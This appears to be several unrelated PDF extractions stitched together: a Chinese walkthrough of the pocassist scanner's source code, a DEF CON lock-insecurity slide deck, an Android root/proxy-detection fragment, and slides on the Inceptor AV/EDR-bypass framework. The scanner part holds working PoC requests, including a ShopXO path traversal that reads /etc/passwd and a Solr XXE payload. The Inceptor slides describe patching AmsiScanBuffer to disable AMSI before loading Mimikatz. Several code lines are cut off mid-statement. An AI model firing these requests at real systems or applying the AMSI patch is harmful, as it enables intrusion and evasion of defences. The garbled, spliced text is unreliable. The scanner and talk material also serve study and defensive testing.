:= out.Value().(type) { // set value 无论是什么类型都先转成string case proto.UrlType: cc.ParamMap[key] = util.UrlTypeToString(value) case int64: cc.ParamMap[key] = int(value) default: cc.ParamMap[key] = fmt.Sprintf("%v", out) } } return } controller.Next() poc\rule\controller.go#221 这里的 controller.Handles 是 handles := getHandles(scanItem.Plugin.Affects) 根据类型获取到的poc Handler 即是所有除go代码的poc 计算一共需要测试多个Handles 遍历调用 func (controller PocController) Next() { for controller.Index < int64(len(controller.Handles)) { controller.Handles[controller.Index](controller) controller.Index++ } } 因为通过 handles := getHandles(scanItem.Plugin.Affects) 这里默认会添加的是 ExecExpressionHandle ExecExpressionHandle poc\rule\handle.go#15 1. ctx.GetPoc() 获取当前测试的poc 即 controller.Plugin.JsonPoc 2. 如果poc有 Groups 那么调用 ctx.Groups(ctx.IsDebug()) 否则调用 ctx.Rules(poc.Rules,ctx.IsDebug()) 有 Groups的poc举例 params: [] name: poc-yaml-shopxo-cnvd-2021-15822 set: {} rules: [] groups: Linux: - method: GET path: /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= headers: {} body: "" search: "" followredirects: false expression: \| response.status == 200 && "root:[x]:0:0:".bmatches(response.body) Windows: - method: GET path: /public/index.php?s=/index/qrcode/download/url/L1dpbmRvd3Mvd2luLmluaQ= headers: {} body: "" search: "" followredirects: false expression: \| response.status == 200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"for detail: author: "" links: [] description: "" version: "" 不是 Groups的是 Rules的举例 { "name": "poc-yaml-solr-cve-2017-12629-xxe", "set": { "reverse": "newReverse()", "reverseURL": "reverse.url" }, "rules": [{ "method": "GET", "path": "/solr/admin/cores?wt=json", "expression": "true", "search": "\"name\":\"(?P<core>[^\"]+)\",\n" }, { "method": "GET", "path": "/solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8% "follow_redirects": true, "expression": "reverse.wait(5)\n" }], "detail": { "author": "sharecast", "links": ["https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE"] } } func ExecExpressionHandle(ctx controllerContext){ var result bool var err error poc := ctx.GetPoc() if poc == nil { log.Error("[rule/handle.go:ExecExpressionHandle error] ", "poc is nil") return } if poc.Groups != nil { result, err = ctx.Groups(ctx.IsDebug()) } else { result, err = ctx.Rules(poc.Rules,ctx.IsDebug()) } if err != nil { log.Error("[rule/handle.go:ExecExpressionHandle error] ", err) return } if result { ctx.Abort() } return } controller.Groups 含有 Groups的poc执行 poc\rule\controller.go#205 1. 遍历 groups里的rules 2. poc控制器调用 controller.Rules(rules, debug) 返回规则结果如果一个rules成功即返回成功这个成功是表示rule的表达式也是对的如果整个rules的表达式都是true就是对的下面我们详细看下 controller.Rules 3. group 只要有一个rules成功即返回成功否则返回false // 执行 groups func (controller PocController) Groups(debug bool) (bool, error) { groups := controller.Plugin.JsonPoc.Groups // groups 就是多个rules 任何一个rules成功即返回成功 for _, rules := range groups { rulesResult, err := controller.Rules(rules, debug) if err != nil \|\| !rulesResult { continue } // groups中一个rules成功即返回成功 if rulesResult { return rulesResult, nil } } return false, nil } controller.Rules 含有 Rules的poc执行 poc\rule\controller.go#186 如果poc含有多个rule的情况遍历调用 controller.SingleRule // 执行 rules func (controller PocController) Rules(rules []Rule, debug bool) (bool, error) { success := false for _, rule := range rules { singleRuleResult, err := controller.SingleRule(&rule, debug) if err != nil { log.Error("[rule/controller.go:Rules run error]", err) return false, err } if !singleRuleResult { //如果false 直接跳出循环返回 success = false break } success = true } return success, nil } controller.SingleRule 单条rule怎么执行 poc\rule\controller.go#148 1. 调用rule的 Verify 限制rule中的path必须以 "/" 开头 2. rule.ReplaceSet(controller.CEL.ParamMap) 替换set对应的值将请求中 headers path body 中 {{xxx}} 的xxx根据之前cel解析构建的变量替换 3. 根据原始请求 + rule 生成并发起新的请求 http controller.DoSingleRuleRequest 返回resp 4. 给 controller.CEL.ParamMap["response"] 赋值为返回的resp 5. 如果rule Search不是空的进行匹配 rule.Search 是正则字符串匹配body 并返回结果map 6. Evaluate 调用rule的表达式返回表达式的结果是布尔值 cel2.Evaluate(cc.Env, char, cc.ParamMap) 计算表达式的时候是将最开始的 request 以及刚刚通过 controller.DoSingleRuleRequest 返回后的 response 以及set set是之前执行表达式解析获取到这个 ParamMap 都带入进去构建解析poc的验证表达式了 7. 如果debug或者rule表达式返回是True 那么记录请求链 controller.Request.Add(resp) // 单个规则运行 func (controller PocController) SingleRule(rule Rule, debug bool) (bool, error) { // 格式校验 err := rule.Verify() if err != nil { return false, err } // 替换 set rule.ReplaceSet(controller.CEL.ParamMap) // 根据原始请求 + rule 生成并发起新的请求 http resp, err := controller.DoSingleRuleRequest(rule) if err != nil { return false, err } controller.CEL.ParamMap["response"] = resp // 匹配search规则 if rule.Search != "" { controller.CEL.ParamMap = rule.ReplaceSearch(resp, controller.CEL.ParamMap) } // 如果当前rule验证失败，立即释放 out, err := controller.CEL.Evaluate(rule.Expression) if err != nil { log.Error("[rule/controller.go:SingleRule cel evaluate error]", err) return false, err } if debug { controller.Request.Add(resp) } else { // 非debug模式下不记录没有漏洞不记录请求链 if !out { util.ResponsePut(resp) return false, nil } // 如果成功，记如请求链 controller.Request.Add(resp) } return out, err } controller.DoSingleRuleRequest fasthttp发请求 poc\rule\controller.go#85 初始化一个空的req 然后根据 rule 的测试位置对应的进行替换进去发起请求返回cel的Response 1. 获取req的fast包 2. AcquisiteRequest 从请求池返回一个空请求实例并将请求内容拷贝到创建的空请求实例 3. 解析获取目录 curPath 4. 获取这个插件的影响类型 Affects 5. 判断影响级别是哪些再处理 a. 如果是 params级的 appendparam replaceparam 将ruile的headers添加到 fastreq包中通过 util.DoFasthttpRequest 发包 b. 如果是 content级的通过 util.DoFasthttpRequest 发包 c. 如果是dir级的目录级漏洞检测当前路径与 rule.Path 拼接出新的路径 d. 如果是 server级的赋值 curPath = rule.Path e. 如果是url级的这里给注释掉了 6. 为了兼容xray 某些poc没有区分path和query 将url中的空格和``+ 替换为 %20 设置url不进行转义并替换 fixedFastReq 的url 7. 设置 fixedFastReq 的 headers method 8. 如果请求的类型是 multipart/form-Data 通过 util.DealMultipart 处理body后更新到 fixedFastReq 9. 替换完后发起请求通过 util.DoFasthttpRequest 返回 proto.Response // 根据原始请求 + rule 生成并发起新的请求 func (controller PocController) DoSingleRuleRequest(rule Rule) (proto.Response, error) { fastReq := controller.Request.Fast // fixReq : 根据规则对原始请求进行变形 fixedFastReq := fasthttp.AcquireRequest() fastReq.CopyTo(fixedFastReq) curPath := string(fixedFastReq.URI().Path()) affects := controller.Plugin.Affects switch affects { // param级 case AffectAppendParameter, AffectReplaceParameter: for k, v := range rule.Headers { fixedFastReq.Header.Set(k, v) } return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects) // content级 case AffectContent: return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects) // dir级 case AffectDirectory: // 目录级漏洞检测判断是否以 "/"结尾 if curPath != "" && strings.HasSuffix(curPath, "/") { // 去掉规则中的的"/" 再拼 curPath = fmt.Sprint(curPath, strings.TrimPrefix(rule.Path, "/")) } else { curPath = fmt.Sprint(curPath, "/" ,strings.TrimPrefix(rule.Path, "/")) } // server级 case AffectServer: curPath = rule.Path // url级 case AffectURL: //curPath = curPath, strings.TrimPrefix(rule.Path, "/")) default: } // 兼容xray: 某些 POC 没有区分path和query curPath = strings.ReplaceAll(curPath, " ", "%20") curPath = strings.ReplaceAll(curPath, "+", "%20") fixedFastReq.URI().DisablePathNormalizing= true fixedFastReq.URI().Update(curPath) for k, v := range rule.Headers { fixedFastReq.Header.Set(k, v) } fixedFastReq.Header.SetMethod(rule.Method) // 处理multipart contentType := string(fixedFastReq.Header.ContentType()) if strings.HasPrefix(strings.ToLower(contentType),"multipart/form-Data") && strings.Contains(rule.Body,"\n\n") { multipartBody, err := util.DealMultipart(contentType, rule.Body) if err != nil { return nil, err } fixedFastReq.SetBody([]byte(multipartBody)) }else { fixedFastReq.SetBody([]byte(rule.Body)) } return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects) } raw接口 scanRoutes.POST("/raw/", scan2.Raw) api\routers\v1\scan\scan\scan.go#92 1. 会先将raw存成文件 2. 读取raw文件生成req http.ReadRequest(bufio.NewReader(bytes.NewReader(raw))) 3. 之后也是创建任务到管道只是从原来的根据目标生成一个req包变成解析raw转成一个req func Raw(c gin.Context) { scanType := c.PostForm("type") vulList := c.PostFormArray("vul_list") remarks := c.PostForm("remarks") if scanType != "multi" && scanType != "all" { c.JSON(msg.ErrResp("扫描类型为multi或all")) return } target, err := c.FormFile("target") if err != nil { c.JSON(msg.ErrResp("文件上传失败")) return } // 存文件 filePath := file.UploadTargetsPath(path.Ext(target.Filename)) err = c.SaveUploadedFile(target, filePath) oreq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(raw))) if err != nil \|\| oreq == nil { c.JSON(msg.ErrResp("生成原始请求失败")) return } if !oreq.URL.IsAbs() { scheme := "http" oreq.URL.Scheme = scheme oreq.URL.Host = oreq.Host } plugins, err := rule.LoadDbPlugin(scanType, vulList) if err != nil \|\| plugins == nil { c.JSON(msg.ErrResp("插件加载失败" + err.Error())) return } oReqUrl := oreq.URL.String() token := c.Request.Header.Get("Authorization") claims, _ := util.ParseToken(token) task := db.Task{ Operator: claims.Username, Remarks: remarks, Target: oReqUrl, } db.AddTask(&task) taskItem := &rule.TaskItem{ OriginalReq: oreq, Plugins: plugins, Task: &task, } c.JSON(msg.SuccessResp("任务下发成功")) go rule.TaskProducer(taskItem) go rule.TaskConsumer() return } List scanRoutes.POST("/list/", scan2.List) api\routers\v1\scan\scan\scan.go#175 将目标文件存下来解析遍历创建多个task任务后续也是一样的创建的任务到管道 func List(c gin.Context) { scanType := c.PostForm("type") vulList := c.PostFormArray("vul_list") remarks := c.PostForm("remarks") if scanType != "multi" && scanType != "all" { c.JSON(msg.ErrResp("扫描类型为multi或all")) return } target, err := c.FormFile("target") if err != nil { c.JSON(msg.ErrResp("文件上传失败")) return } // 存文件 filePath := file.UploadTargetsPath(path.Ext(target.Filename)) err = c.SaveUploadedFile(target, filePath) if err != nil \|\| !file.Exists(filePath) { c.JSON(msg.ErrResp("文件保存失败")) return } // 加载poc plugins, err := rule.LoadDbPlugin(scanType, vulList) if err != nil{ c.JSON(msg.ErrResp("插件加载失败" + err.Error())) return } if len(plugins) == 0 { c.JSON(msg.ErrResp("插件加载失败" + err.Error())) return } targets := file.ReadingLines(filePath) token := c.Request.Header.Get("Authorization") claims, _ := util.ParseToken(token) var oReqList []http.Request var taskList []db.Task for _, url := range targets { oreq, err := util.GenOriginalReq(url) if err != nil { continue } task := db.Task{ Operator: claims.Username, Remarks: remarks, Target: url, } db.AddTask(&task) oReqList = append(oReqList, oreq) taskList = append(taskList, &task) } if len(oReqList) == 0 \|\| len(taskList) ==0 { c.JSON(msg.ErrResp("url列表加载失败")) return } c.JSON(msg.SuccessResp("任务下发成功")) for index, oreq := range oReqList { taskItem := &rule.TaskItem{ OriginalReq: oreq, Plugins: plugins, Task: taskList[index], } go rule.TaskProducer(taskItem) go rule.TaskConsumer() } return } 对于cel-go的使用理解这里抄了 pocassist的cel-go的代码加上自己的注释理解写了一个demo 简单对cel-go进行一个使用 /* * @Date: 2022-03-15 16:20:30 * @LastEditors: recar * @LastEditTime: 2022-03-16 10:29:56 / package main import ( "crypto/md5" "fmt" "math/rand" "strings" "cel/proto" "github.com/google/cel-go/cel" "github.com/google/cel-go/checker/decls" "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) // 定义一个自定义函数 // 判断s1是否包含s2, 忽略大小写 // 描述 var iContainsDec = decls.NewFunction("icontains", decls.NewInstanceOverload("string_icontains_string", []exprpb.Type{decl // 实现 // 这里的Operator 是运算符即字符串.icontains(字符串) // Binary 是定义这个函数通过ref反射动态执行先判断类型是否是字符串然后再执行 strings.Contains var iContainsFunc = &functions.Overload{ Operator: "string_icontains_string", Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { v1, ok := lhs.(types.String) if !ok { return types.ValOrErr(lhs, "unexpected type '%v' passed to icontains", lhs.Type()) } v2, ok := rhs.(types.String) if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to icontains", rhs.Type()) } return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2)))) }, } // 自定义函数 randomInt var randomIntDec = decls.NewFunction("randomInt", decls.NewOverload("randomInt_int_int", []exprpb.Type{decls.Int, decls.I var randomIntFunc = &functions.Overload{ Operator: "randomInt_int_int", Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { from, ok := lhs.(types.Int) if !ok { return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type()) } to, ok := rhs.(types.Int) if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) } min, max := int(from), int(to) return types.Int(rand.Intn(max-min) + min) }, } // 字符串的 md5 var md5Dec = decls.NewFunction("md5", decls.NewOverload("md5_string", []exprpb.Type{decls.String}, decls.String)) var md5Func = &functions.Overload{ Operator: "md5_string", Unary: func(value ref.Val) ref.Val { v, ok := value.(types.String) if !ok { return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type()) } return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v)))) }, } // 初始化 cel的环境变量即自定义的函数和变量 // 是 Library接口的实现 /* type Library interface { // CompileOptions returns a collection of funcitional options for configuring the Parse / Check // environment. CompileOptions() []EnvOption // ProgramOptions returns a collection of functional options which should be included in every // Program generated from the Env.Program() call. ProgramOptions() []ProgramOption } / type CustomLib struct { // 声明 envOptions []cel.EnvOption // 实现 programOptions []cel.ProgramOption } func (c CustomLib) CompileOptions() []cel.EnvOption { return c.envOptions } func (c CustomLib) ProgramOptions() []cel.ProgramOption { return c.programOptions } // 第一步定义 cel options func InitCelOptions() CustomLib { custom := CustomLib{} custom.envOptions = []cel.EnvOption{ cel.Container("proto"), // 注入一种类型 cel.Types( &proto.UrlType{}, &proto.Request{}, &proto.Response{}, ), // 定义变量 cel.Declarations( decls.NewVar("request", decls.NewObjectType("pkg.proto.Request")), decls.NewVar("response", decls.NewObjectType("pkg.proto.Response")), ), // 定义函数 cel.Declarations(iContainsDec, randomIntDec, md5Dec), } // 实现的函数 custom.programOptions = []cel.ProgramOption{cel.Functions(iContainsFunc, randomIntFunc, md5Func)} return custom } // 第二步根据cel options 创建 cel环境 func InitCelEnv(c CustomLib) (cel.Env, error) { // cel.Lib 的参数是Library 是 CustomLib 的接口 return cel.NewEnv(cel.Lib(c)) } // 如果有set：追加set变量到 cel options // 这里的set 就是yaml的set 定义的一些变量 func (c CustomLib) AddRuleSetOptions(args []map[string]string) { for _, arg := range args { // 在执行之前是不知道变量的类型的，所以统一声明为字符型 // 所以randomInt虽然返回的是int型，在运算中却被当作字符型进行计算，需要重载string__string for k := range arg { v := arg[k] var d exprpb.Decl // 下面设置了这三种字符串设置类型 if strings.HasPrefix(v, "randomInt") { d = decls.NewVar(k, decls.Int) } else if strings.HasPrefix(v, "newReverse") { d = decls.NewVar(k, decls.NewObjectType("proto.Reverse")) } else { d = decls.NewVar(k, decls.String) } // 追加到 envOpt中 c.envOptions = append(c.envOptions, cel.Declarations(d)) } } } // 计算单个表达式 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { ast, iss := env.Compile(expression) if iss.Err() != nil { return nil, iss.Err() } prg, err := env.Program(ast) if err != nil { return nil, err } out, _, err := prg.Eval(params) if err != nil { return nil, err } return out, nil } func main() { // 1.生成cel env环境 option := InitCelOptions() // 动态添加变量到env里这里即对poc里的set set := []map[string]string{} rad := map[string]string{"rad": "randomInt(1,10)"} set = append(set, rad) option.AddRuleSetOptions(set) env, err := InitCelEnv(&option) if err != nil { fmt.Println("[rule/cel.go:Init init cel env error]", err) } // icontains expression1 := `"aaa".icontains("aaa")` params := make(map[string]interface{}) out, err := Evaluate(env, expression1, params) if err != nil { fmt.Println(err) } fmt.Printf("expression1: %v\n", out) // set setMap := make(map[string]interface{}) for _, s := range set { for k := range s { expression2 := s[k] out, err = Evaluate(env, expression2, params) if err != nil { fmt.Println(err) } setMap[k] = out.Value() } } //print set变量 for k, v := range setMap { fmt.Printf("expression2 set k: %s v: %d\n", k, v) // 将set的变量添加的env里 params[k] = v } // 把set替换request中的body或者headers // eval 表达式匹配关键字返回true或者false expression3 := `string(rad)` out, err = Evaluate(env, expression3, params) if err != nil { fmt.Println(err) } fmt.Printf("expression3: %s\n", out) // 自定义一个变量如下 params["recar"] = "cel-go" expression4 := `recar` // 定义添加变量的类型 recar := decls.NewVar("recar", decls.String) option.envOptions = append(option.envOptions, cel.Declarations(recar)) env, err = InitCelEnv(&option) if err != nil { fmt.Println("[rule/cel.go:Init init cel env error]", err) } out, err = Evaluate(env, expression4, params) if err != nil { fmt.Println(err) } fmt.Printf("expression4: %s\n", out) } 参考 cel-go https://codelabs.developers.google.com/codelabs/cel-go#0 pocassist https://pocassist.jweny.top/	pdf
INSECURITY ENGINEERING: Locks, Lies, and Videotape LOCK DESIGN: MECHANICAL v. SECURITY ENGINEERING ¨ PRIOR DefCon PRESENTATIONS ¨ Vulnerabilities in mechanical and electro- mechanical locks ¨ Resulted from Defective or Deficient engineering ¨ All-encompassing standards problem ¨ Failure to understand “why” locks can be opened, rather than “how” INSECURITY ENGINEERING ¨ DEFICIENT OR DEFECTIVE PRODUCTS – Intersection of mechanical and security engineering ¨ FALSE SENSE OF SECURITY – What appears secure is not – How do you know the difference? – Undue reliance on standards ¨ MISREPRESENTATIONS BY MFG SPECIFIC DESIGN FAILURES ¨ KWIKSET SMART KEY® ¨ KABA IN-SYNC ¨ AMSEC ELECTRONIC SAFE ES813 ¨ ILOC ELECTRO-MECHANICAL LOCK ¨ BIOLOCK FINGERPRINT LOCK – Examine each lock for security vulnerability – Statements from the manufacturers about their security LOCKS: THE FIRST LINE OF DEFENSE ¨ LOCKS: FIRST SECURITY BARRIER ¨ OFTEN, THE ONLY SECURITY LAYER ¨ MEASURED BY STANDARDS ¨ WHAT IF NOT RATED BY UL or BHMA ¨ HOW DO YOU KNJOW THAT LOCKS ARE SECURE? ¨ WHAT DOES “SECURE” MEAN? MANUFACTURER RESPONSIBILITIES ¨ UNIQUE RESPONSIBILITY FOR COMPETENCE – MECHANICAL ENGINEERING – SECURITY ENGINEERING ¨ IMPLIED REPRESENTATIONS – “WE ARE EXPERTS” – SECURITY OF THEIR PRODUCTS – REPRESENTATIONS – “WE MEET OR EXCEED STANDARDS” EXPERTISE REQUIRED IN LOCK DESIGN ¨ MECHANICAL ENGINEERING ¨ SECURITY ENGINEERING ¨ MINIMUM INDUSTRY STANDARDS REQUIRE LEVEL OF KNOWLEDGE ¨ SECURITY ENGINEERING REQUIRES: – UNDERSTAND USE OF WIRES, MAGNETS, PAPERCLIPS, BALL POINT PENS, ALUMINUM FOIL – BYPASS TECHNIQUES ENGINEERING FAILURES: RESULTS AND CONSEQUENCES ¨ INSECURITY ENGINEERING – Insecure products – Often easily bypassed – Use standards as the measure when they do not address the relevant issues – Products look great but not secure – False sense of security COST AND APPEARANCE v. QUALITY AND SECURITY ¨ DO YOU GET WHAT YOU PAY FOR? ¨ 2$ LOCKS ARE 2$ LOCKS! ¨ SHORTCUTS DO NOT EQUAL SECURITY ¨ CLEVER DESIGNS MAY REDUCE SECURITY ¨ PATENTS NOT GUARANTEE SECURITY SECURITY GRADES v. SECURITY RATINGS ¨ UL 437 AND BHMA 156.30 SECURITY STANDARDS ¨ BHMA SECURITY GRADES ¨ DEADBOLT SECURITY – Lock cylinder v. locking hardware – Locks and hardware are different – “The key never unlocks the lock” LOCK MFG OFTEN CANNOT OPEN THEIR OWN LOCKS ¨ MEET STANDARDS BUT NOT SECURE ¨ MISREPRESENTATIONS ¨ PRODUCE INSECURE PRODUCTS ¨ TODAY: FIVE EXAMPLES OF DEFICIENT OR OF INCOMPETENT SECURITY ENGINEERING FIVE EXAMPLES: INSECURITY ENGINEERING ¨ CONVENTIONAL PIN TUMBLER LOCK ¨ ELECTRO-MECHANICAL LOCK ¨ BIOMETRIC FINGERPRINT LOCK ¨ ELECTRONIC RFID LOCK ¨ CONSUMER ELECTRONIC SAFE – All appear secure: None are! – This year, focus on wider problem – Representative sample – Hundreds of bypass tools based upon insecurity ANALYSIS OF EACH LOCK ¨ HOW IT WORKS ¨ WHY DEFICIENT OR DEFECTIVE ¨ BYPASS VULNERABILITIES ¨ STATEMENTS BY MANUFACTURERS ¨ MUST UNDERSTAND THE METHODOLOGY ¨ REMEMBER FIRST RULE: “THE KEY NEVER UNLOCKS THE LOCK” EXAMPLE #1: KWIKSET SMART KEY® KWIKSET SMART KEY® ¨ $2 TO MANUFACTURER ¨ CLEVER DESIGN: OUR OPINION: POOR SECURITY ¨ NOT JUST OURS: READ MANY COMMENTS ON WEB ¨ MANY SECURITY VULNERABILTIES ¨ MILLIONS SOLD EVERY YEAR ¨ EXTREMELY POPULAR LOCK KWIKSET ATTRIBUTES ¨ CLEVER DESIGN ¨ PROGRAMMABLE ¨ COPIED AND MODIFIED EARLIER DESIGNS ¨ CANNOT BUMP ¨ DIFFICULT TO PICK ¨ RATINGS KWIKSET REPRESENTATIONS ¨ “ANSI Grade 1 deadbolt for the ultimate in security. Secure your home in seconds with SmartKey.” ¨ INCREASED SECURITY ¨ BUMP RESISTANT ¨ PICK RESISTANT HOW SMART KEY WORKS VULNERABILITIES ¨ COMMERCIAL TOOLS AVAILABILE ¨ EASY TO COMPROMISE WITH SIMPLE IMPLEMENTS, RAPID ENTRY – COVERT ENTRY – FORCED ENTRY – KEY SECURITY KWIKSET SECURITY ¨ TINY SLIDERS ¨ THIN METAL COVER AT END OF KEYWAY ¨ OPEN RELATIVELY EASILY AND QUICKLY – Wires – Small screwdriver – $.05 piece of metal KWIKSET SLIDERS: The Critical Component EXAMPLE #2: ILOQ EXAMPLE #2: ILOQ ¨ MADE IN FINLAND ¨ VERY CLEVER DESIGN ¨ COST: $200+ ¨ ELECTRO-MECANICAL DESIGN ¨ MECHANICAL KEY + CREDENTIALS ¨ NO BATTERIES: LIKE A CLOCK AND MAGNETO, GENERATES POWER ILOQ: OUR SECURITY ILOC MECHANISM ALL KEYS IDENTICAL ILOQ VULNERABILITIES ¨ SET THE LOCK ONCE ¨ ANY KEY WILL OPEN ¨ NO NEED FOR CREDENTIALS ¨ VIRTUALLY NO SECURITY ¨ DIFFICULT TO DETECT ¨ LOCK OPERATES NORMALLY ONCE SET EXAMPLE #3: KABA IN- SYNC RFID-BASED LOCK KABA IN-SYNC ATTRIBUTES ¨ WIDE APPLICATOIN ¨ AVAILABLE FOR SEVERAL YEARS ¨ MILITARY AND CIVILIAN APPLICATIONS ¨ USE SIMULATED PLASTIC KEY WITH RFID ¨ AUDIT TRAIL IN-SYNC INTERNAL MECHANISM: LOCKING BOLT RETRACTS TURN TO OPEN EXAMPLE #4: AMSEC ES813 CONSUMER “SAFE” ELECTRONIC KEYPAD AMSEC SAFE ES813 AND OTHERS ¨ CONSUMER LEVEL SAFE ¨ $100 FOR SMALLEST UNIT ¨ ELECTRONIC KEYPAD ¨ HOW MUCH SECURITY EXPECTED? ¨ INCOMPETENT DESIGN ¨ FOUND IN MANY OTHER SAFES EXAMPLE #5: BIOLOCK BIOMETRIC LOCK ¨ FINGERPRINT + BYPASS CYLINDER ¨ LOOKS SECURE ¨ $200 OR MORE ¨ INSECURITY ENGINEERING AT ITS BEST LESSONS LEARNED ¨ CLEVER SECURITY ¨ LOCKS REQUIRE BOTH MECHANICAL AND SECURITY ENGINEERING ¨ PATENTS DON’T GUARANTEE SECURITY ¨ STANDARDS DO NOT MEAN SECURITY INDUSTRY UPDATE ¨ STANDARDS – BUMPING – PROPOSED BHMA CHANGES ¨ MANUFACTURERS ARE PAYING ATTENTION AND MAKING CHANGES ¨ CORRECT PROBLEMS AT PRIOR DEFCON PRESENTATIONS ¨ WORKING WITH MANUFACTURERS TO TEST LOCKS “REAL WORLD” SECURITY LABS: REAL WORLD TESTING ¨ MISSION OF SECURITY LABS – TEST LOCKS FOR MAJOR COMPANIES AND VENDORS – LEVEL ABOVE UL, BHMA, AND OTHERS – DETERMINE AND EXPOSE VULNERABILITIES – WORK WITH CLIENTS IN NEW PRODUCT DESIGN – PURSUE ACTIONS FOR DEFECTIVE PRODUCTS CONCLUSIONS ¨ MISREPRESENTATIONS BY MANY MANUFACTURERS ¨ HIGH-TECH DESIGNS SECURITY ¨ BYPASS TOOLS FOR MANY LOCKS, RELY ON INSECURITY ¨ MANY MFG DON’T KNOW OF VULNERABILITIES ¨ INSECURITY = LIABILITY ¨ CAVEAT EMPTOR INSECURITY ENGINEERING: Locks, Lies, and Videotape © 2010 MarcWeber Tobias, Tobias Bluzmanis, Matthew Fiddler [email protected] [email protected] [email protected]	pdf
sdk 0x00 0x01 0x02 1 is_root:true 2 1 2 0x03 0x04 3root 4 xposed008krealtoolsubstrate007FakeGpsmockgps IMEI IMSIMTKNZT 5VPN /* * * */ private boolean isWifiProxy(Context context) { // 4.0 final boolean IS_ICS_OR_LATER = Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH; String proxyAddress; int proxyPort; if (IS_ICS_OR_LATER) { proxyAddress = System.getProperty("http.proxyHost"); String portStr = System.getProperty("http.proxyPort"); proxyPort = Integer.parseInt((portStr != null ? portStr : "-1")); } else { proxyAddress = android.net.Proxy.getHost(context); proxyPort = android.net.Proxy.getPort(context); } return (!TextUtils.isEmpty(proxyAddress)) && (proxyPort != -1); } 0x05	pdf
Inceptor Bypass AV/EDR solutions combining well known techniques 1 Copyright © 2021 Alessandro Magnosi. All rights reserved Version 1.0 Alessandro Magnosi (@klezVirus) Copyright © 2021 Alessandro Magnosi. All rights reserved WhoAmI Senior Security Noob ● Red Teamer, Code Reviewer… What I do the most: ● Mostly.. I spend my time fixing things my kid breaks ● Beatboxing(-ish!?) till my wife wants to kill me ● Drink coffee… while coding 2 GitHub: @klezVirus Twitter: @klezVirus Ok, what we’ll see? AV Essentials ❖AV Features ❖Defender ❖Bypass Techniques EDR Essentials ❖Win32 API Overview ❖EDR Features ❖Bypass Techniques Inceptor: a framework to bypass them all (hopefully)! 3 “ “First, solve the problem. Then, write the code.” – John Johnson 4 5 AV Essentials AV Components 6 DECOMPRESSORS Decompressors are responsible of decompressing archives to allow the scanner to analyse them SCANNERS The scanner is responsible of analysing files stored in the file system. There are also on- access scanners, or real-time scanners (AMSI) UNPACKERS Unpackers need to automatically detect and unpack code packed with known packers and allow the scanner to analyse them SANDBOX The sandbox is responsible of emulating the program in a virtualised environment, to detect suspicious activities (behavioural) Static Scanner ◇ Static Analysis ◇ Blacklist approach ◇ Signature based on particular code or data ◇ AV holds a database of signatures ◇ Usually combined with heuristic and dynamic analysis. Sandbox ◇ Runtime analysis performed in a Virtual environment ◇ The analysis is subjected to certain limits: o Time o Virtualized APIs o Sandbox capabilities Real-Time Scanner (AMSI) ◇ In-memory static analysis ◇ Scan performed injecting `amsi.dll` within a process address space ◇ Scan run against WSH, PowerShell, .NET 4.8+, UAC, JavaScript, VBScript and Office VBA 7 AV Components What we need to bypass and when? 8 What we need to bypass and when? 9 Native Executable .NET Executable PowerShell Script Static Scanner (Signatures) Real-Time Scanner (AMSI) Sandboxing (Behavioural) Obfuscation The code is obfuscated to break signatures. ◇ Chameleon ◇ Chimera ◇ Invoke-Obfuscation Evading AMSI (PowerShell) Patching Amsi.dll is modified in-memory to break the scan. ◇ Amsi Fail 10 Whenever a PowerShell process starts or a .NET assembly is loaded into memory, the Anti-Malware Scan Interface (AMSI) is used to scan the binary in memory and anything passed to it as a parameter. AMSI is conceptually not different from a regular FS scanning engine, with the exception that it scans “in- memory”. This means that the AMSI scanner is still based on signatures, and as such, it can be bypassed. 11 This is achieved by patching the opcode of AMSI.dll during runtime. Specifically, the opcode to change lies in the AmsiScanBuffer pointer address at an offset of 27 as illustrated below. Here, the general purpose register – r8d – holds the value of the “length” parameter. This value would then be copied over to the EDI register for further processing. However, if the opcode is changed as below… The patched instruction, “xor edi edi”, would result in the EDI register being set to zero instead of it holding the “length” parameter value. As such, AMSI would assume that any strings send to AmsiScanBuffer() would have a length of zero, resulting in AMSI being effectively disabled. Evading AMSI (Patching) 12 Evading AMSI (Patching) Mimikatz loaded! 13 Evading Signatures Usually consists in signature detection and manual modifications: https://github.com/matterpreter/DefenderCheck Anti-Debug ◇ Non virtualized functions (VirtualAllocExNuma, fsalloc…) ◇ Filename Checking ◇ Environment checking (IsBeingDebugged, DR registers…) ◇ Mapped sections hashing Resource Disruption ◇ One million increments ◇ Crazy allocation ◇ Overly complex decoding algorithms Logic Deception ◇ Impossible branching (i.e. Fetching resources from non-existent URLs) ◇ Special conditions (e.g. registry values, environment variables, …) 14 Evading Sandboxes 15 EDR Essentials 16 Win32 API Primer The Windows operating system exposes APIs in order for applications to interact with the system. The Windows API also forms a bridge from “user land” to “kernel land” with the famous ntdll.dll as the lowest level reachable from userland. 17 Win32 API Primer When malicious applications want to interact with the system they will, like other applications, rely on the APIs exposed. Some of the more interesting APIs include: ◇ VirtualAlloc: Used to allocate memory ◇ VirtualProtect: Change memory permissions ◇ WriteProcessMemory: Write data to an area of memory ◇ CreateRemoteThread: Create a thread in the address space of another process https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs 18 https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs Kernel32.dll Win32 API Flow with API monitor 19 